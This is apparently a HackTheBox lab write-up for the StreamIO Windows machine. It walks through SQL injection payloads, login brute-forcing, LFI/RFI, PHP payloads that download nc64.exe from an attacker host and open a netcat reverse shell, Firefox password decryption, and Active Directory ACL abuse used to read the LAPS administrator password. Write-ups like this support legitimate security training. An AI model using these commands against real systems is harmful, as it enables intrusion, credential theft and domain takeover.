All writeups
HackTheBox: StreamIO avatar
MACHINE Windows HackTheBox 3/5

HackTheBox: StreamIO

2026-06-08 11 min read
Tracks CPTS

Introduction

StreamIO is a Windows machine that chains together a bunch of web and AD techniques. There’s no single “big” exploit - it’s all about finding small misconfigurations and chaining them together. Here’s the full path:

  1. Find a subdomain via SSL cert → watch.streamio.htb
  2. MSSQL injection on search.php → dump user hashes → crack them
  3. Hydra brute-force the admin login → get into the admin panel as yoshihide
  4. LFI via PHP wrapper → read source of index.php → find DB creds + RFI sink
  5. Remote File Inclusion (RFI) via master.php → reverse shell as IIS service account
  6. SQLCMD → dump streamio_backup DB → crack nikk37’s hash → WinRM shell + user flag
  7. WinPEAS → find Firefox saved passwords → decrypt with firepwd.py → get JDgodd’s creds
  8. BloodHoundJDgodd has WriteOwner over CORE STAFFCORE STAFF can read LAPS
  9. PowerView → add JDgodd to CORE STAFF → ldapsearch → read LAPS password → Administrator shell + root flag

Key Concepts

What is LFI? Local File Inclusion - when a web app includes files based on user input without validation, you can make it read files it shouldn’t (like config files with passwords).

What is RFI? Remote File Inclusion - same idea, but instead of reading a local file, the server fetches a file from your machine and executes it. This gives you code execution.

What is a PHP wrapper? PHP has built-in “wrappers” like php://filter that let you read a file’s source as Base64 instead of executing it. Useful for stealing source code via LFI.

What is LAPS? Local Administrator Password Solution - a Microsoft tool that auto-rotates local admin passwords and stores them in AD. The password is in the ms-MCS-AdmPwd LDAP attribute and is only readable by accounts in specific groups.

What is WriteOwner? An AD permission that lets you change who owns an object. As owner you can grant yourself any other permission - including group membership.


Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <TARGET>

Notable ports: 80 (IIS default page), 443 (HTTPS - the real app), 88/389/445 (AD/Kerberos/SMB = Domain Controller).

echo "<TARGET> streamio.htb" | sudo tee -a /etc/hosts

Find the hidden subdomain via SSL certificate

Visit https://streamio.htb in Firefox. Click the padlock → More InformationView Certificate. Under Subject Alt Names you’ll see:

DNS Name: streamio.htb
DNS Name: watch.streamio.htb    ← new subdomain

Why check the cert? SSL certificates list every hostname they’re valid for. Developers often add staging/dev subdomains to the same cert without realising they’re advertising them.

Add it to hosts:

sudo sed -i 's/streamio.htb/streamio.htb watch.streamio.htb/g' /etc/hosts

Directory brute-force on watch.streamio.htb

Visiting https://watch.streamio.htb/index.php confirms PHP. Run gobuster:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -k -u https://watch.streamio.htb/ -x php

Finds /search.php - a movie search page.


MSSQL Injection on search.php

Confirm the injection

The search box passes input directly into a SQL query. Test with a UNION-based payload - first figure out the number of columns by incrementing until no error:

10' union select 1,2,3,4,5,6 -- -

Works! 6 columns, and column 2 is reflected on screen (shows 2).

Identify the database type

10' union select 1,@@version,3,4,5,6-- -

Output: Microsoft SQL Server 2019... - it’s MSSQL.

Get the database name

10' union select 1,(select DB_NAME()),3,4,5,6-- -

Output: STREAMIO

List all tables

STRING_AGG joins multiple rows into one result, using , as a separator:

10' union select 1,(SELECT STRING_AGG(name,',') FROM STREAMIO..sysobjects WHERE xtype='U'),3,4,5,6-- -

Output: movies,users

List columns in the users table

10' UNION SELECT 1,name,3,4,5,6 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

Output: id, is_staff, password, username

Dump usernames and password hashes

CONCAT joins username + space + password into one string per row:

10' union select 1,CONCAT(username,' ',password),3,4,5,6 FROM users-- -

You get a list like:

admin 665a50ac9eaa781e4f7f04199db97a11
yoshihide b779ba15cedfd22a023c4d8bcf5f2332
nikk37 389d14cb8e4e9b94b137deb1caf0612a
...

Crack the hashes

The hashes are MD5. Upload them to CrackStation. Several crack, including:

UsernameHashPassword
yoshihideb779ba15…66boysandgirls..
nikk37389d14cb…get_dem_girls2@yahoo.com

Brute-Force the Admin Login

You now have a list of usernames and cracked passwords. Use Hydra to find which combo works on the streamio.htb login page:

hydra -L users.txt -P passwords.txt streamio.htb \
  https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"

How to build this string: Open the login page in Firefox → DevTools (F12) → Network tab → submit a login → look at the POST request to see the parameter names (username, password) and what the failure message says (Login failed).

Result: yoshihide : 66boysandgirls..

Log in at https://streamio.htb/login.php and navigate to /admin.


Find the Hidden debug Parameter

The admin panel loads sub-pages via URL parameters like ?user=, ?staff=, ?movie=. Fuzz for others using ffuf (replace the PHPSESSID with yours from the browser):

ffuf -w /opt/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u 'https://streamio.htb/admin/?FUZZ=' \
  -b 'PHPSESSID=YOUR_SESSION_ID_HERE' \
  --fs 1678

Finds: debug parameter.

Visiting https://streamio.htb/admin/?debug= shows: “this option is for developers only”


LFI via PHP Wrapper → Steal Source Code

Read index.php source

The ?debug= parameter includes files. PHP normally executes .php files, but the php://filter wrapper converts them to Base64 first, letting you read the raw source:

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

Copy the Base64 blob from the page and decode it:

echo "BASE64_BLOB_HERE" | base64 -d

Key things found in the source:

$connection = array(
    "Database" => "STREAMIO",
    "UID"      => "db_admin",
    "PWD"      => 'B1@hx31234567890'
);

And the routing logic - when ?debug= is set it does include $_GET['debug'], meaning it includes and executes whatever file you point it at. That’s the RFI sink.

Find master.php

Gobuster the admin directory (pass your session cookie):

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -k -u https://streamio.htb/admin/ -x php \
  -c "PHPSESSID=YOUR_SESSION_ID_HERE"

Finds /admin/master.php. Read its source:

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

Decode it and you find:

if(isset($_POST['include']))
{
    if($_POST['include'] !== "index.php")
        eval(file_get_contents($_POST['include']));
    else
        echo("ERROR");
}

What does this mean? master.php accepts a POST parameter called include. It fetches the content of whatever URL you give it (file_get_contents) and then executes it as PHP (eval). This is a Remote File Inclusion vulnerability. Your file gets fetched and run on the server.


Remote File Inclusion → Reverse Shell

How the chain works

You can’t POST directly to master.php (it checks for defined('included')). But index.php’s ?debug= parameter includes whatever file you give it. So:

GET /admin/?debug=master.php  →  includes master.php
                                 master.php reads POST['include']
                                 master.php fetches your file
                                 master.php eval()s it as PHP

Step 1: Test with whoami

Create test.php on your machine:

<?php system("whoami"); ?>

Start a web server:

sudo python3 -m http.server 80

In Burp Suite, intercept a GET to /admin/?debug=master.php. Right-click → Change request method (makes it POST). Add to the body:

include=http://<YOUR_IP>/test.php

Send it. Your web server gets a hit for test.php, and the response shows the output of whoami.

Step 2: Upload nc64.exe

Change test.php contents to:

<?php system("curl <YOUR_IP>/nc64.exe -o c:\\windows\\temp\\nc64.exe"); ?>

Download nc64.exe first:

wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe

Send the request again - your web server will see a hit for nc64.exe as the target downloads it.

Step 3: Get the shell

Change test.php to:

<?php system("c:\\windows\\temp\\nc64.exe <YOUR_IP> 4444 -e cmd.exe"); ?>

Start your listener:

nc -lvvp 4444

Send the request. You get a shell as the IIS service account (iis apppool\streamio).

Upgrade to PowerShell for better usability:

powershell

Lateral Movement: IIS → nikk37

Dump the backup database via SQLCMD

From the index.php source you found DB creds: db_admin : B1@hx31234567890. Use sqlcmd to query the SQL server:

# List all databases
sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM master..sysdatabases;'

Output includes: streamio_backup - a backup DB that wasn’t in the web app!

# Check tables
sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM streamio_backup..sysobjects WHERE xtype = "U"'

# Dump credentials
sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'USE STREAMIO_BACKUP; select username,password from users;'

You get another set of usernames + MD5 hashes. Crack nikk37’s hash on CrackStation:

nikk37 : get_dem_girls2@yahoo.com

Check if nikk37 is a domain user:

net user nikk37

Output: Local Group Memberships: *Remote Management Users ← can use WinRM!

Get WinRM shell as nikk37

evil-winrm -i streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com'

Grab user.txt from C:\Users\nikk37\Desktop\user.txt.


Privilege Escalation: Find Firefox Saved Passwords

Run WinPEAS

Upload and run WinPEAS to automate enumeration:

upload winPEASx64.exe
.\winPEASx64.exe

WinPEAS flags a Firefox credentials database:

Firefox credentials file exists at:
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

Download the Firefox credential files

cd C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\
download key4.db
download logins.json

Why two files? Firefox stores saved passwords in logins.json (encrypted entries) and uses key4.db as the keystore holding the decryption keys. You need both.

Decrypt with firepwd.py

On your Linux machine:

wget https://raw.githubusercontent.com/lclevy/firepwd/master/firepwd.py
wget https://raw.githubusercontent.com/lclevy/firepwd/master/requirements.txt
pip3 install -r requirements.txt
python3 firepwd.py

Output:

decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

You now have credentials for JDgodd : JDg0dd1s@d0p3cr3@t0r.

Spray the credentials

cme smb streamio.htb -u system-users.txt -p system-passwords.txt

Hit: streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r authenticates to SMB (but no useful share access).


BloodHound: Map the AD Attack Path

Run BloodHound to collect AD data using JDgodd’s credentials:

bloodhound-python -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  -gc dc.streamio.htb -ns <TARGET> -c all --zip

Import the ZIP into BloodHound. Search for a path from JDgodd to Administrator. You’ll see:

JDGODD --[WriteOwner]--> CORE STAFF --[ReadLAPSPassword]--> DC.STREAMIO.HTB --[...]--> ADMINISTRATOR

The plan:

  1. JDgodd has WriteOwner over CORE STAFF → make JDgodd the owner
  2. As owner, grant JDgodd GenericAll over CORE STAFF
  3. Add JDgodd to CORE STAFF
  4. As a member of CORE STAFF, query LDAP for the LAPS Administrator password

Abuse WriteOwner → Add to CORE STAFF → Read LAPS

All of this runs inside the evil-winrm shell as nikk37, but using JDgodd’s credentials via PowerShell’s credential objects (since we don’t have a direct shell as JDgodd).

Upload and import PowerView

Download PowerView on your machine:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

In evil-winrm:

upload PowerView.ps1
. .\PowerView.ps1

Store JDgodd’s credentials in PowerShell

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)

Why do this? We don’t have a shell as JDgodd, but PowerView lets us pass credentials to AD operations. Every command below runs as JDgodd even though we’re logged in as nikk37.

Step 1: Make JDgodd the owner of CORE STAFF

Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity JDgodd -Cred $Cred

Step 2: Grant JDgodd full control over CORE STAFF

Add-DomainObjectAcl -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd -Cred $Cred -Rights All

Step 3: Add JDgodd to CORE STAFF

Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Cred $Cred

Verify

net group 'CORE STAFF'

Output: JDgodd is listed as a member.

Step 4: Read the LAPS password via LDAP

LAPS stores the auto-rotating local Administrator password in the ms-MCS-AdmPwd LDAP attribute. Now that JDgodd is in CORE STAFF (which has ReadLAPSPassword), query it from your Linux machine:

ldapsearch -h streamio.htb \
  -b 'DC=streamIO,DC=htb' \
  -x \
  -D JDgodd@streamio.htb \
  -w 'JDg0dd1s@d0p3cr3@t0r' \
  "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Output:

ms-Mcs-AdmPwd: -6/8RYZp4hY6t)

That’s the Administrator’s current LAPS password.

Step 5: Get an Administrator shell

evil-winrm -i streamio.htb -u administrator -p '-6/8RYZp4hY6t)'

Grab root.txt from C:\Users\martin\Desktop\root.txt.


Summary

nmap → ports 80/443/88/389 (IIS + AD DC)

SSL cert → watch.streamio.htb subdomain

gobuster → search.php → MSSQL UNION injection

Dump users table → MD5 hashes → CrackStation → yoshihide:66boysandgirls..

Hydra brute-force → /login.php → admin panel

ffuf → ?debug= parameter discovered

php://filter wrapper → read index.php → DB creds (db_admin:B1@hx31234567890)

php://filter wrapper → read master.php → eval(file_get_contents(POST[include])) = RFI

?debug=master.php + POST include=http://attacker/shell.php → reverse shell (IIS)

sqlcmd → streamio_backup DB → nikk37 MD5 hash → get_dem_girls2@yahoo.com

evil-winrm as nikk37 → user.txt

WinPEAS → Firefox key4.db → firepwd.py → JDgodd:JDg0dd1s@d0p3cr3@t0r

BloodHound → JDgodd has WriteOwner over CORE STAFF
CORE STAFF has ReadLAPSPassword on DC

PowerView (as nikk37 shell, JDgodd creds):
  Set-DomainObjectOwner → Add-DomainObjectAcl → Add-DomainGroupMember

ldapsearch → ms-MCS-AdmPwd = -6/8RYZp4hY6t)

evil-winrm as Administrator → root.txt

Tools Used

ToolWhat it doesHow to get it
gobusterDirectory/file brute-forcingsudo apt install gobuster
ffufParameter fuzzingsudo apt install ffuf
hydraLogin brute-forcingsudo apt install hydra
CrackStationOnline hash crackercrackstation.net
firepwd.pyDecrypts Firefox saved passwordsGitHub
bloodhound-pythonCollects AD data for BloodHoundpip install bloodhound
BloodHound + Neo4jVisualises AD attack pathsGitHub
PowerViewPowerShell AD manipulationGitHub
evil-winrmWinRM shell clientgem install evil-winrm
ldapsearchQuery LDAP attributessudo apt install ldap-utils
nc64.exeNetcat for WindowsGitHub